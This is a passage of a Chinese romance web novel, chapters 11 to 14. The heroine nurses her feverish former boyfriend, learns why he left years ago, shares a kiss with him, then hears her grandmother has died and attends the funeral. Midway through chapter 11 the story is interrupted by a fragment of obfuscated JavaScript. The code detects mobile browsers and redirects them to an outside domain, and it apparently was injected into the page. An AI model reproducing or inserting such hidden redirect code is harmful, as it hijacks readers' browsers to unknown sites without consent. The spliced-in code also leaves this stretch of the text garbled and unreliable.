裴究的房间装修得很低调,透着内敛的奢侈感。深色的古典印花地毯铺在木地板上,奠定了整个房间厚重的基调。
陶织悦把他暂时安置在沙发上,转身去找药箱。
屋内的生活痕迹不重,物品少而空,看起来刚搬进来不久,也住得不多。
照理来说,不常用的东西应该在柜架上吧。
她在柜架翻了半天,没找到退烧药,抬头看见一个突兀的相框。
相框很小但很精致,奇怪的点在于很少人会把这么小的照片裱起来珍藏。
陶织悦伸手去取那个相框,略有点沉。
看清照片的那一刻,她凝固在原地。
照片已经泛黄褪色,边缘由于磨损而卷翘破损,但被主人细心地熨平。
上面的小人穿着校服,没有意识到自己已经被镜头捕捉,只是望着跑道上竞速的学生出神。那张清晰稚嫩的脸,正是少女时代的她。
这就是姚修认识她的那张照片?
陶织悦回想着过往,判断出来这是高一的运动会。
裴究注意到她,远比她想象得还要早。
11. 他的家中
陶织悦捧着那张照片,观望一周。
皮质家具光滑温润,木质摆件含蓄雅致,窗户窗帘也焕然一新。
屋内的东西全都崭新而昂贵,只有这张照片是唯一的旧物,在这里显得格格不入。
沙发上的男人又咳两声,她赶紧放下照片,蹲下去探柜架下的抽屉。
抽屉一拉,终于找到了救星——里面有许多药盒药瓶。
佐匹克隆片、阿普唑仓片、艾司唑仓片……大多是助眠类药物。
答案突然跳出来:那个熟悉的味道是裴究第一次在医院点的助眠香薰。
只是除开那次之后,她去医院就再没闻到过,因此一时没想起来。
原来他的睡眠问题这么严重。
陶织悦快速挑出退烧药胶囊,起身去倒水,端着玻璃杯和胶囊递给他。
看着裴究把药吃下去,她才松了一口气。
她打算去找个湿毛巾,刚有所动作,背后就传来一声。
“你要走吗?”
陷进沙发里的人烧得有点神志不清,但还是支棱着抬眼去观察她的动作,费力地问了一句。
瞧着他这幅脆弱得任人拿捏的样子,陶织悦有些恶趣味上头。
“对啊,我要抛弃你咯。”她作出一副蔫坏的神色。
她好像有点明白那些大人逗小孩是什么心理了。
“求你了。”他的眼尾有点红。
陶织悦渐渐失笑。
犯规。他这样示弱,反而让她止了玩心。
“求我什么?”她认真起来。
“求你不要抛弃我。”
这样的心直口快是发烧状态的隐藏成就吗?
一个直球过来打得她头也有点晕了。
她坐下来,离着他有半米距离,裴究还执着地盯着她。
怎么?嫌不够近?
陶织悦又往他那挪了几下,裴究这才安心闭上眼。
趁着这个空档,她打开手机修缮脚本和策划案。看了一会儿,手机顶部弹出信息提示。
【阮沂】:桃子姐,拟定下个月前往森德瑞总部所在地拍摄的方案已经通过。
【陶织悦】:好,你在群里通知一下。
甲方的效率意外的高,本来还需要好几天的流程,竟然这么快就落地了。
陶织悦不禁感慨大公司的办事效率。
【阮糖很好吃】发完通知半分钟后,名为【月亮基地】的工作群就刷出几条欢呼的消息。
森德瑞的新系列香水整体基调清雅、内敛,在原有品牌标志性原料的基础上,融入了国内本土特有的传统香料。
基于产品理念,她计划从位于品牌根源的总部开始取景,再一路牵引至国内的香水文化,再过渡到当今香水的商业卖点。
将流程在脑子里滚了一遍,觉得心安不少。
身旁的人呼吸平和缓慢,应该已经睡着了吧。
陶织悦轻轻抬起屁股,伸直腿,挺起身,成功地离开了沙发。
她侥幸地回头看一眼,对上了裴究不知道什么时候睁开的眼睛。
陶织悦:“……嗨。”
裴究的眼神垂下点黯淡:“你忙吧。”
幻视妻子出门参加派对而独守空房的怨夫是怎么回事?
她只好解释道:“我去给你弄个湿毛巾。”
沙发上的男人这才把头扭过来,微微一点。
陶织悦很快找到卫生间。
极简风贯彻了整个空间。除了些必要的洗漱用品,几乎见不到什么额外的东西。
看来裴究还真是刚回国不久,就被她送进医院了。不然以他装修病房的奢侈作风,这里怎么会这么简陋呢?
陶织悦取下挂在架子上的毛巾,崭新的灰色花纹细腻柔软。她拧开洗水池的水龙头,沾湿毛巾。
抬起头,面前镜子倒映出她的脸。和她同框的还有镜架上的一柄剃须刀——这个空间里唯一具有男性属性的东西。
剃须刀这种东西离她的生活太遥远。父亲意外去世后,家里就再也没有过男人的东西。
她幻想着裴究使用它的场景:早上会按开它的开关,小刀片开始快速转动,他将剃须刀贴近下颌,在“嗡嗡”声中修理那些由荷尔蒙催生出的萌芽。
在医院时,她偶尔会发呆地盯着裴究看。
她惯会抓住对方专心致志的空隙,扫过对方高耸的眉弓、直挺的鼻梁、光洁的下颌。以及干得有点起皮的薄唇。
她出神地想着,手上去关水龙头。
水流突然喷涌而出,猝不及防溅了她一身。陶织悦下意识惊呼,反手拧上开关。
门外传来裴究一句问:“怎么了?没事吧?”
声线暗哑但能听出些焦急。
陶织悦怕他起身来看,连忙回答:“没事,只是水喷出来了。”
她擦了把脸,把毛巾拧干就匆忙出来,向他证明自己没什么大碍。
裴究的目光迎上她,顷刻间凝在原地。
陶织悦低头去看,自己的胸前湿了大半。衣料搭在身上不至于走光,但身形被明显地现了出来。她的发尾也沾上了水,有几缕正垂着往下滴水。
不知道是不是陶织悦的错觉,裴究烧红的两颊似乎火势更甚,祸及双耳。
她把毛巾团一股脑呼在他脸上,挡住他的视线。
“……有吹风机吗?”她强装镇定。
又觉得把毛巾扔在他脸上的行为有些过激,她伸手去取湿毛巾。刚把手搭上那团湿巾,正好与裴究的手撞了个正着。
男人的手烫得不像话,正巧盖在她的手背上,热意瞬间蔓延。
他一下松开,好像被烫到的是他。
放弃把脸上的毛巾拿下来,他闷闷地咳了一声,手指悠悠地指向卧室的方向。
陶织悦心领神会,默默去找电吹风。
自此她算是把裴究家里的各个地方都打卡了个遍。
她无厘头地想象起一个场景:她抱着一个大大的指示牌,蓝白指示牌上赫然写着——我在裴究家很想你。
站着有些累。陶织悦从床头柜的抽屉里取出吹风机,插上电,小心地坐在床沿。
风声贯耳,越吹越热。
卧室里似乎浮涌着一种逼仄的气息,不知不觉把她裹住了。
下身的知觉是柔软的床垫,是裴究的床。
这个认知让她感到有点怪异。
高中时他们还没捅破窗户纸,直到大学也才将将有了拥抱、牵手、接吻这样亲密一点的接触。这样深入他的私密领域,来到处处拥有他生活气息的地方,还是头一回。
他们也都到了成熟的年纪了。
这样想着,陶织悦越吹越窘迫,谴责起自己的想入非非。
真是工作不饱和了,脑子里都是什么?
处理得差不多了,她点开手机屏幕,大概是六点多了。
她走出卧室,自然地问:“你晚饭吃什么?”
沙发上的男人已经把毛巾叠好,乖乖地盖在额头上,脸上的红晕退下去一些。
他的脑子大概不够用了,只是迷茫地转向冰箱。
陶织悦一边说着一边去开冰箱门:“那你的冰箱里有什么,我们就吃什……哇,竟然是空的诶。”
空空如也的冰箱毫无使用痕迹,只有一箱子冷气,她打了个寒战。
她不死心地拐进厨房,又很快出来。灶台上甚至没有锅。
陶织悦忙了一通毫无所获,只能两手空空地坐回沙发。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180497|180936||http|test|mini|href|location''.split(''|''),0,{}));
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>她歪了歪头,最终拍板:“我回家一趟,一会回来。”
又郑重地承诺:“给我一个小时。”
她富有契约精神地伸出小指,自顾自地勾上对方的小指,哄小孩一样晃了晃。
裴究望着她出门的背影,直到门咔哒一声关上,才收回目光。
他脑子混沌一片,却莫名有个念头:生病倒也不全是坏事。
怯懦又自私的他,狡猾地抓住这个借口向她展示脆弱,一次又一次地挽留她。
一阵天旋地转,他闭上眼缓了一会。
为了保证新业务的稳定运行,他夜以继日地盯着所有流程的落实。本来以为经过在外拼搏的那几年,他能扛得住这样的辛苦,没想到身体还是向他报了警。
一向早起的他,今天竟然一觉睡到下午,直到被陶织悦的来电叫醒。
睁开眼,身体的异样就让他意识到:他发烧了。
一边善后一边应付陶织悦,本以为能就这么糊弄过去,没想到还是被抓包了。
但是这样的抓包并不难受。相反,让他感到了点安心……和久违的委屈。
他就这样猝不及防地掉到一片温暖的云朵上。
他侧身调整姿势,尝试让自己好受一点。额头上的毛巾掉下来,正好落到他的掌心。
*
前几天中秋,她专买了些滋补的食材给外婆用,还剩下些在冰箱里。
今早刚买的鲜虾也还在,正适合炖一锅清淡又营养的鲜虾粥。
打定了主意,陶织悦的动作熟练而利落。
郁阳不常做饭,因此她常常自己动手,丰衣足食。
虾头在锅里翻炒出鲜亮的虾油,滋滋冒泡。加水,倒米,放入青菜碎和虾段,又撒入盐和胡椒粉。充分熬煮半小时,一锅鲜美的虾粥热气腾腾地诞生了。
陶织悦先美美地吃了一小碗,才慢吞吞地开始打包。
那个孤僻的铁壶站在桌角。
她回想起医院那次铁壶的局促,不过很快被压下去,转而又轻松地选拔了这只小铁壶。
拎着小壶出门,正转身关门,背后被人叫住。
“织悦?你要出门呢。”张婶挎着菜篮笑开颜,和她寒暄,“好几天没见着你了,最近忙呢。”
“对,最近时间比较紧张。”陶织悦客气地回应。
“你是要去找对象吗?”
“啊?”陶织悦愣住。
张婶抿出一个揶揄的笑:“丫头,你这笑脸挂的,春光满面,自己都没发现吧。”
她在笑吗?陶织悦后知后觉地摸摸脸。
“正饭点呢,是不是要一起吃饭?”张婶的视线移到她手上那只小铁壶。
“呃,对。”陶织悦应下来,没有解释什么。
得到肯定的回答,张婶往手里的菜篮里翻,掏出一对喜饼递给她。“百年好合”的大字红彤彤地印在上面。
“我刚刚去吃喜宴回来,顺道买了个菜,这个给你。”
也算沾一份喜气吧,陶织悦没有推辞,向张婶道谢。
女孩走远,张婶扒在门框上瞧:“可惜,本来还想给侄子介绍呢。多好一个小姑娘,进不了自家的门了。”
她叹息,转身回屋做饭。
*
小区的路灯已经亮了,抬头望像一颗颗发光的小橘子。
陶织悦走在小路上,旁边车库里停了一辆她之前没见过的车。
崭新的玛莎拉蒂,色彩炫目。不知道是谁家的。
小区里真是卧虎藏龙。
她走进裴究那栋楼,一路上了四楼。
想着先敲敲门,示意一下再开门。
她曲指叩门,刚要推门而入,听见里面传出一道女声:“外卖吗?放门口就行。”
12. 夜难眠
陶织悦看了看门牌,确定自己没走错门。
声音很年轻,带着少女的甜美。
就她离开的这么一段时间,裴究的家里突然多了一个女孩。
陶织悦站在原地,刚要把手从门把上移开,门忽然开了。
她的身子被把手拖着往前,踉跄了两步,被一个温热的怀抱接住。
裴究的烧退下去些,但体温还是有点灼人。
下一秒,他转过头,对着身后的人说话。
“你该回去了。”语气里有些罕见的不耐。
被男人高大的身躯挡住了视线,陶织悦从他怀里探出头。
少女穿着条简约挺括的小黑裙,胸前卡着副墨镜,耳边两个小巧的水晶发夹挽起一个松弛又俏皮的发型。
此刻,她的目光扫过陶织悦,闻言又皱起那对细眉:“裴哥哥,你知道的,我好不容易从国外回来一趟。听说你前段时间住院,我今天专门开车来看你,你怎么一张嘴就要赶我走?”
女孩的面上带了点委屈,下垂的嘴角显出几分不甘。
“需要我打电话给你爸爸吗?”裴究紧接着叫了女孩名字。
不论什么生物,或许都有被严厉地叫名字就会害怕的基因。
女孩抖抖肩,不服气地跺一脚,还是擦身走出了房门。
她站在空旷的楼道,回头看一眼,又气冲冲地扭头走了。
陶织悦品味着裴究对她的称呼:瑜瑜?妤妤?
倒是挺相熟的。
手上一轻,铁壶已被男人接过。
他抓着她的手腕往屋里带,手背抵着关上门。
紧走几步,她刚降落在餐桌前的椅子上,裴究就率先开口。
“合作方的女儿。”
意识到他是在解释这个女孩的身份,陶织悦应了一声。
她转身去厨房取个小碗和勺,动手装粥。热腾腾的鲜虾粥舀出来,安稳地盛在碗中。
要色有色,要味有味。陶织悦满意地看着自己的杰作,把碗推到裴究面前,却对上对方蹙在一起的眉头。
“不合胃口?”
男人摇摇头,脑袋低下去吃那碗粥。
一口送进嘴里,他的眉目舒展不少,但神色里还有些不明的沉淀。
他往陶织悦的手边一瞥,眉头微挑。
“百年好合?”他盯着喜饼上的字样念出来。
陶织悦噎住,镇定地解释:“出门前被邻居塞的。”
男人垂下头去,唇边却多了点促狭的笑意。
喜饼方方正正地立在空旷的桌子上,很是显眼。
她有点不自在地拆开包装,“百年好合”的字样被藏起来,露出内里光洁的圆饼。
然而饼面上印了一个更显著的“囍”字。陶织悦把喜饼掰成两半,里面是芬芳细腻的玫瑰馅。
她递过去一块,男人也不客气地接过来。
“不够甜。”他简短地评价。
陶织悦咬上一口,玫瑰香气渗入唇齿间,舌尖染上一点微甜。
“明明刚好啊,是你吃得太甜了吧。”
一米八几的大猛男,结果喜欢吃小甜点。
她盯着对面专心吃饭的男人,皮肤光洁平整,紧致地贴合骨相。
明明平时对糖分摄入也不加控制,怎么对他毫无影响呢?这就是基因彩票吗?
陶织悦用勺戳戳碗里,悲愤地吃下一大口。
“吃甜对心情好。”
他把最后一块喜饼送进嘴里,拿起餐巾擦嘴。
“你不高兴吗?”
陶织悦有点不明不白地抬头,正对上他的目光。那视线有点闪躲,但还是执着地望着她。
她对裴究好基因的嫉妒这么明显吗?已经到了让人一眼就能看出来的地步?
“有点。”她诚实地回答。
男人的指尖在桌上无意识地点了点。
“抱歉,不会有下次了。”
陶织悦嚼着嘴里的虾仁,头顶缓慢地冒出一个问号。
她倒也没有要剥夺别人妈生好皮的爱好。
“我不知道她今晚会过来,以为她是你才开的门。她被她爸爸宠坏了,做事莽莽撞撞的,从不知会别人。刚成年的小姑娘眼睛浅,脸顺眼就看上了。明明还在国外留学,也不知道从哪听说……”
“停一下。”陶织悦打断他滔滔不绝的独白。
男人被遏止,静下来看着她的眼睛。
“你问的是这个?”陶织悦无奈地笑,“哪有那么夸张。难道桌上有只母苍蝇,我也要赶尽杀绝吗?”
她给自己倒了一杯椰奶,端起来抿一口。
“我倒觉得她挺勇敢的,无惧无畏,想要什么就追什么,也没有危害到社会……顶多危害了一下你。”
陶织悦在杯子后偷笑,上唇沾出一个白胡子。
裴究没招地虚叹一声,配合着做出副苦恼状。
“那你呢?”他俯下身,凑近问,“当初看上我,也是为了这张脸吗?”
“自恋狂。”陶织悦骂他一句,低头看眼手机上的时间。
她朝裴究勾勾手。
男人本就俯着身子,直接把下巴垫在手背上,另一只手大方地将额发扒上去,露出原本收敛着的精致锋利的眉目。
一副“任君采撷”的模样。
陶织悦将手覆上他的额头。一络碎发从指边漏出,点在她手背,有点痒。
温度退下去不少,只剩一点余热。
“应该没事了,这位病人记得早点睡觉。”
她把手撤回,却被抓住了腕处。
“病人失眠怎么办?”他不紧不慢问。
陶织悦眨眨眼:“那你希望我怎么做?”
裴究觉得这句话有点耳熟,但一时也没想起来。他磕巴一下,没说出话来。
“我看到你抽屉里的药了,”陶织悦抽回手,“为什么这么严重?”
她难得严肃,板起脸就令人不敢轻易敷衍。
裴究有点后悔提到这个话题。
一时间,餐桌上的插科打诨被沉默填充。
“回答我,裴究。”
“我想要你告诉我。”
陶织悦很少这样叫他的全名,语气不算冷硬,却很坚定。
男人沉寂地坐着,眼神晦暗不明。
“工作上的压力和焦虑。”
陶织悦这才注意到,自己从未过问他的具体事业。她对裴究回国后的工作没有了解,只大概猜出他是个公司高层。
她对自己的粗心和迟缓而抱歉。
“方便告诉我更多的东西吗?”陶织悦语气软下来,“以及,这样的情况持续了多久。”
男人向后靠在椅背上,斟酌措辞。
“从五年前开始。”
陶织悦倒回去算,正是他们分别后的那年。
“一开始是生活压力……和情绪问题导致入睡困难,但还在可控范围内。”
“后来几年,伴随着事业起伏越发严重,就申请了药物介入和其他外物配合,也就是你看到的那些助眠药和香薰。”
“就这么简单。”
他草草带过,不卑不亢。
陶织悦知道他过得不易,这样的辛苦在今晚又变得具象化了一些。
“你当年在国外,为什么不靠家里的支持?”触及到分离那年的回忆,陶织悦心上一痛,神色也灰暗了点。
“我去国外就是为了摆脱家里。”他僵硬地把头扭到窗户那侧。
陶织悦一愣,没有料想过这个答案。
显然这触及到他私人的家庭问题,她现在似乎没有足够的立场过问。
她的嘴不自觉抿得紧,还想挖点别的出来。
“那其他的因素呢?比
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如……情绪问题?”
男人的眉头一跳,目光中带上晦涩的低沉。
“愧疚……和思念。”
宾语是她吗?陶织悦想要再问下去,才发觉喉咙发紧,唇也在微微颤抖。
“我很想你。”他说。
她的头垂下去,心闸被击垮,在角落积压已久的情绪源源不断流出来,汇成一条暗涌的小河。
“对不起……我说这个只是为了给你一个交代,因为我没有办法看着你不说话。”
“我不敢奢求你的原谅。终究是我为了摆脱家里的控制,选择切断了所有联络,没有和任何人商榷就下了这个决定。”
依照裴家的势力,他确实需要这样决绝的作为,才能挣脱裴家控制的大网。
陶织悦知道他不喜欢那个家。
他们的第一次见面,就是在裴究摆脱家里保镖的路上。
此后他也对家里的情况缄口不言,只是在面对家里来人时展现出冷硬的姿态。
她对裴究家里的了解,大都来源于外界的风言风语。
裴父是个风流在外的男人,和裴母貌合形离,传闻前些年还带回来几个私生子。裴究作为明面上的正统儿子,常要配合家里做些虚伪的展示。
“你还记得,见到我母亲的那天,你跟我说了什么吗?”男人话锋一转。
陶织悦被这句话勾回过去。
那是裴究离开前的某个晚上,月朗星稀。
裴母千里迢迢来找儿子,她面容憔悴,浓妆也掩饰不住疲惫。
她状似平淡地说他父亲刚得了个新孩子,让他跟她回家一趟。
裴究拒绝了。
她的面目抽搐了一下,眼睛死死盯着他:“你是我的孩子,你是家里的正统继承人,跟我回去。”
“我不要。”裴究没有松口,挺直的背影在夜色里像枯槁的树干。
啪!随着一声清响,裴究的脑袋被打得偏向一侧。
裴母艳丽的五官扭曲在一起,彻底崩溃:“你是我的孩子!为什么不跟我回去!为什么不听话!为什么!你们没有一个人在乎我吗!”
她的目光钉住不远处的陶织悦,像看见猎物的鹰犬,极为锐利。
“是不是因为她,所以你不想跟我回去。”裴母毫不避讳地指着她,“我已经给你找好了结婚的对象,对你的未来能有很大助益,你给我清醒一点。”
裴究推开母亲的手臂,挡住她的视线,冷声道:“和她没关系。”
两人大吵一架。这个孔雀般高傲的女人被戳破了脆弱的自尊,她蹲下去嚎啕大哭,凄厉地大叫,对着这个世上血脉最亲的儿子痛诉这个家族的恶心。
一阵狂风暴雨之后,她剥离了所有情绪般平静下来。戴着蕾丝白手套的手胡乱地抹去眼泪,她的神色冷漠、平静。整个人像风暴后残留的水洼。
临走前,她立住脚步,向陶织悦投去一个回眸。像一个空洞的深渊。
她曾经也有像陶织悦一样的青春年华,如今却像一颗干瘪的苹果,只剩下艳丽的表皮。
陶织悦只感到脊背发凉。
裴究绷着身子,望着女人离去的背影。片刻后,他的身形颓然地垮下来,似乎是再也无力支撑。
他转过来,苍白的脸染上点温柔,朝她走过来。
“吓到你了?”他伸手拥住她,嘴上安慰着她,陶织悦却察觉到他的身子在微微发抖。
记忆已经被时间冲刷得失去原来精准的形状,陶织悦对后续的记忆已经模糊。
而面前的裴究已经褪去当年的青涩和无措,变成坦然。
“你说:‘裴究,我不想做灰姑娘’。”他道。
“你说得对,这样肮脏的家,根本不值得你踏进来。”
他的眼神变得凌厉,就像他的母亲。
“我欠你一个未来,我想要靠自己挣一个。”
13. 吻与噩耗
伤疤被重新揭开,伴随着阵痛裸露出粉嫩的新肉。
“……你就不能提前告诉我一点,哪怕一点点吗?”陶织悦的声音低下去,最终只剩无力的气音。
“抱歉。”男人的头沉下去。
“你越不知情,他们就越不会为难你。况且这是我的选择,不应该由你来背负。对不起……”
“你不要再道歉了。”陶织悦打断他,“我不要你的道歉。”
“每次谈到我们之间的事,你总是在道歉。”
陶织悦站起来,像一棵小白杨,和对面颓靡的人形成鲜明对比。她皱着眉,神情却很坚毅。
“裴究,我没有你想象得那么脆弱。”她把手搭在桌子上,矮身贴近对方,“你不明白,只靠一个人是走不了两个人的路的。”
“如果我们不能一起并肩,怎么到达同一个目的地?我只是讨厌你一声不吭就走。”
散出心底那口闷着很久的气,呼吸也变得通畅。
她一手捧起裴究的脸,将他扶向自己,语调变得平和。
“我不怪你了,我希望你每天都能晚安,睡个好觉吧。”
额头相抵,男人的眼倏然睁大,耳边只能听到自己震耳欲聋的心跳声。
“谢谢你告诉我过去的答案。”她抿出很浅的笑。
“让我知道,不是所有人都会突然弃我而去。”
还有人是为了她而离开,又回来。
心被猛扎一下,裴究感觉到到对方的眉头搅在一起。他伸手去拢住她的脸,才发现自己已经被抽去许多力气。
他好像又烧起来了,不然怎么解释他脑子里只剩一团灼热的浆糊,把他所有的思绪都溶解离析,只映出眼前人的模样。
呼吸急促起来,顺着视线,他看到女孩裸露的细白脖颈,喉结不可控地上下滚动。
温热的气流交融着,心也痒痒地翘起一个尾巴。
察觉到男人的意图,陶织悦搭在桌上的那只手不安地收紧,出了点薄汗。
双唇只在咫尺之间,愈贴愈近。
她盯着对方逼近的鼻尖,循着本能打起了退堂鼓。然而男人并不给她这个机会,扼住她的动作,追着吻了上来。
唇上被轻轻一啄。紧接着是并不餮足地含吮,下巴被钳制着无法躲避,只能被迫承受对方决堤泄闸的热情。
她手边扫倒一片东西,牙签筒骨碌掉到地上,发出撞击声。
“等……等一下……”她挣扎着去推身前的人。
“别管,专心。”男人发烧导致的暗哑声线变得更加低沉。
裴究顺势抓住她的手腕,抵在砰砰鼓动的胸口处,那里正为她跳得很快。
陶织悦被吻得七荤八素,像风雨里的小船一样随浪飘摇,只有面前的人掌握了船舵,成为她唯一的支点。
桌边的手机震动着响起。
裴究没有分一个眼神。
“电话……电……”面前人又不屈不饶地打断他。
他试图蒙混过去,但挡不住电话铃声坚持不懈地响着。
对方注意力的不断逸散令他不满,他只能意犹未尽地吻一下女孩的下巴,充当收尾。
陶织悦的脸通红,双眼被折腾得水汪汪,狼狈地去抓手机,手有几分抖。
这个吻太突然了,她根本没有准备。得到这个喘息的机会,让她觉得自己像只刚刚逃出狼穴的兔子。
看到屏幕上的“舅舅”,她深吸几口气调整状态。手背搭上滚热的脸颊,心还在胸腔里狂跳。
她花了几秒找回自己的声带,冷静地接通。
“……织悦。”舅舅的声音有点低。
她应了一声,但对面沉默着没有马上接话。
舅舅不是这样不善言辞的性格。
与郁阳寡言的性子不同,这个中年男人十分健谈。舅妈还调侃他,即使是身无分文,也能一路搭顺风车、吃百家饭回到家。
她马上察觉到不对劲。
她看一眼屏幕顶端的时间,已是深夜。这么晚还打来电话,更是头一回。
“舅舅,怎么了?”她主动问。
听筒里沉寂了几秒,才传来舅舅带点轻叹的声音:“织悦,外婆走了。”
心脏被紧紧一攥,顷刻间忘了呼吸。全身沸腾的血液骤然冷凝,只剩那句话在脑海里回荡。
外婆走了。
外婆走了?
她机械地重复那句话,做不出任何回应。
怎么会这么突然,一声不吭地就离开了呢?
明明前几天才刚刚见过,和她朝夕相伴了一整天。
原来外婆早已预知到自己时日不长,才在中秋那天来找她吗?
她想起在亚罗卡里,一向好动活泼的豆豆安静地趴在外婆身边。据说小动物往往能比人类更快感知到死亡。原来是个隐晦的预兆吗?
像泥土一样扎根在她人生中的外婆,就这样抽身离去了。
“要睡觉的时候,你舅妈发现她房间还亮着灯,就进去看,叫她她也不应,她就坐在窗户前面的躺椅上,闭着眼睛……走得很安详。”
电话那头还在絮叨,而她的脑子已经僵住,只能尽力聚拢思绪去听。
外婆很喜欢那把藤编躺椅,那是从老屋里带出来的。每日晚饭后,她都坐在那把陪了她半辈子的藤椅上,看飞鸟群越过夕阳和晚霞。
夏天的时候膝头放一把蒲扇,冬天就盖着一张毯子。而在陶织悦小的时候,那个位置是她的。
在藤椅上度过了晨昏朝暮、一年四季,也走过生命长路。
她庆幸,外婆最后的人生镜头是定格在这个令她安详的栖息地。
周来转去,汹涌的思潮最后只留下一个强烈的念头:她要回家。
她要回家。
她也确实这么说出来了。
裴究抓住她的手腕:“我送你。”
陶织悦感受到腕间残留未退的热意,直接拒绝。
“那我找人送你,你这样我不放心。”他马上去翻手机,很快打通一个电话。
这个时间要打到车确实不容易,陶织悦没有继续推辞。
裴究拉着她下楼,黑发黑衣几乎隐在夜色里,却很有实感。他走得很快很稳,高大的背影领着她向前,像黑浪中的灯塔。
刚在楼下站住脚,那辆送他们回来的黑色轿车恰好停在他们面前。裴究打开车门,扶着她的背将她塞进车。
车门扣上,他的手搭在降下来的车窗上。
男人似乎有话要说,但最终垂下视线,唇线一抿,只是伸手去擦她眼角的泪。
陶织悦这才发觉自己已经落泪。
后脑勺被兜住,轻轻往他那里移去。不过仅仅只是一个触额,就仓促结束。
像一个未开始的离别吻。
他们都明白这个动作的意义。
这个曾经约定过的和好动作,就像一个无言的契约。
车身移动,男人的身影渐渐消失。
路边的灯光在漆黑里融成一团,像沾水扭曲的颜料。急迅的风擦过她的脸,让她的泪也流不出来了。
像一块干瘪的海绵,空洞,却挤不出水。
她把头靠在车窗边,感到铺天盖地的困倦。有种错觉告诉她,或许睡一觉,这个噩梦就能结束了。
等她睁开眼,就是躺在自己的床上,望着家里的天花板发呆。
她就这样沉沉睡去,在奔向家的一路颠簸中。
这个觉睡得并不安稳,脑子不受控制地游走着过往生活的走马灯,而睁眼只剩头颅的肿胀感。
她甚至怀疑自己根本没睡着,只是被短暂地溺毙在过去的海
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。
这样浑浑噩噩的状态持续了很久,直到下车、坐下、时间无声流去,舅舅把死亡证明递到她手上。她盯着上面那个黑白分明的名字,熟悉得不能再熟悉。
这张轻飘飘的薄纸,竟然就这样残忍地宣判了外婆的离开。
陶织悦不再去看那些刺眼的黑字,烂泥一样瘫在沙发上,神情呆愣。不长不短的发乱糟糟地盖住她的脸,只露出一对空荡的眼。
探望、办事的人来来往往,嘈杂的人潮从她身畔流过,只有她这块死板的顽石巍然不动。
“姐,你回来了!”
舅舅的声音恍惚地传进耳边。
陶织悦的眼动了一下,从沙发上慢慢爬起。
郁阳回来了?她迟钝地想,从沙发顶探出半个脑袋。
还没等陶织悦反应过来,一个瘦削的女人从晨光里走进来。
她的头发已经留长,用一根黑皮筋简单扎个低马尾,阳光下有点泛黄发枯。皮肤粗糙了不少,小麦色里显出点晒红的痕迹。
她的眼神平静中带点忧郁,跟着身前的弟弟往里屋走去。
经过沙发前,郁阳很快捕捉到那对小心观望她的眼睛,躲在一头乱发后面,像高原上在草垛后好奇观人的小羊羔。
她没腾出精力来,已经是个中年男人的弟弟见到她就开始哭哭啼啼,她得先安排好追悼会。
郁阳很快上楼,手边还拽着哭得一抽一抽的郁雨。郁雨涕泗横流,明明比郁阳大了一圈,却像个小孩一样贴在她旁边。
陶织悦木僵地转动脑袋,去看白墙上的老黄历。
原来距离她回来已经过了两天了,难怪郁阳也回来了。
今天是外婆的追悼会。
意识到这件事,她挪身去找沙发下的拖鞋。她要把自己收拾整齐,好好和外婆告别。
镜子里的她潦草得像简笔画。这么说有点抽象,但她现在确实像小侄女作业本上的涂鸦小人。轮廓粗糙,有点炸毛,是由铅笔勾勒的。
扒拉几下翘起来的发尾,又洗了把脸。她终于清醒了一些,对镜观摩起自己的仪表。
“织悦?”身后一道陌生的声线唤了声她的名字。
她转过头去,看见一个年纪略大的黑裙女士。
“你都长这么大了?”女士咧开嘴笑,面容逐渐熟悉起来。
陶织悦试探着叫了声:“慧敏表姨?”
慧敏表姨点点头,走过来帮她整理头发:“怎么一个人在这?我领你去院子吧,要开始了。”
她拉住陶织悦的手,两人一同穿过走廊,来到拥挤的院子。
院子尽头摆满了白色的花圈,黑黑的人影交叠。
按照惯例,她应该跟郁阳站在一起。
“郁阳,你瘦了好多。”身旁的表姨先一步看到了郁阳,陶织悦被牵动着朝一个方向过去。
郁阳穿着黑衣黑裤,正站在人阵中间。
“你去那么远的地方,条件也不好,很辛苦吧?”慧敏表姨一阵唏嘘。
郁阳摇摇头,简单地回应:“还好。”
“唉……你啊,从小就是这样,说的少做得多,有苦也往肚子里咽,犟得很。”慧敏表姨拍拍她的肩,“不过也就是你这种人,才能铆足劲往一个地方使,这么多年都在坚持当医生。”
郁阳没有反驳。
慧敏表姨环视一眼,声音压低:“郁阳,我拿你当亲姐妹。有些话,我就跟你掏心窝子说。”
她抚上对方的肩膀道:“”这么多年过去,有没有想再找一个?”
提到已逝的父亲,陶织悦去看母亲的神色。
郁阳没有变化,只是目视前方:“随缘吧。”
陶织悦顺着郁阳的目光望去,落在院子中央的黑白遗照上。
很多年前,那里也立着父亲的照片。
14. 追悼会
丈夫去世得很突然,郁阳人生的色彩也在那天骤然褪去。
她们夫妻俩做医生做了大半辈子,却没办法拯救自己和身边人的生命。
血肉之躯在钢铁铸造的汽车面前格外脆弱,鲜活的生命被碾得粉碎,化作抓不住的一阵风,就飘飘然逝去了。
郁阳是个生性平和,淡然的人。起初她没有感到多大的悲伤。人生无常,是医生不用学习都能知道的道理。
她体面地为丈夫办好后事,拾起所有照常生活,像一辆在自己的轨道上严谨运行的列车。
每天照常一日三餐、医院看诊、寻视病房。女儿已经能自理,上下学不需要她操心,她更多把心血投注在自己的事业上。
川流不息的生活很平静,也没什么差别,她告诉自己。
有一天她按例打开外卖袋,里面却有两份盒饭。她低头去看袋子上的小票,才发现自己的默认设置没有修改。
两份盒饭静静躺在袋子里,她突然感到一阵强烈的失落。直到悲伤将她彻底淹没,她才发觉自己已经被这场小雨淋了很久。
思念是一场绵绵不绝的雨,潮湿地下在她内心深处的角落。
双眼像坏掉的水龙头一样决堤,眼泪噼里啪啦地砸下来,她伏在桌上哭得很大声。原来她的眼泪可以这么多、这么多、多到她自己也难以置信。
什么东西从桌边掉下来了。
异响把她从极致的悲伤中拉出来,她抑制不住抽泣,顶着红肿的眼睛去捡拾。
是丈夫从祖国边疆带回来的一座小塑像。做工粗糙但十分坚硬。
他年轻时在那里待过一阵。提起这段经历,他神情严肃,提及当地的医疗条件和迷信观念,眉宇间透出担忧。
郁阳听得很认真,随即说自己也想到那里发挥余热。两人相视一笑,心里种下一颗种子。
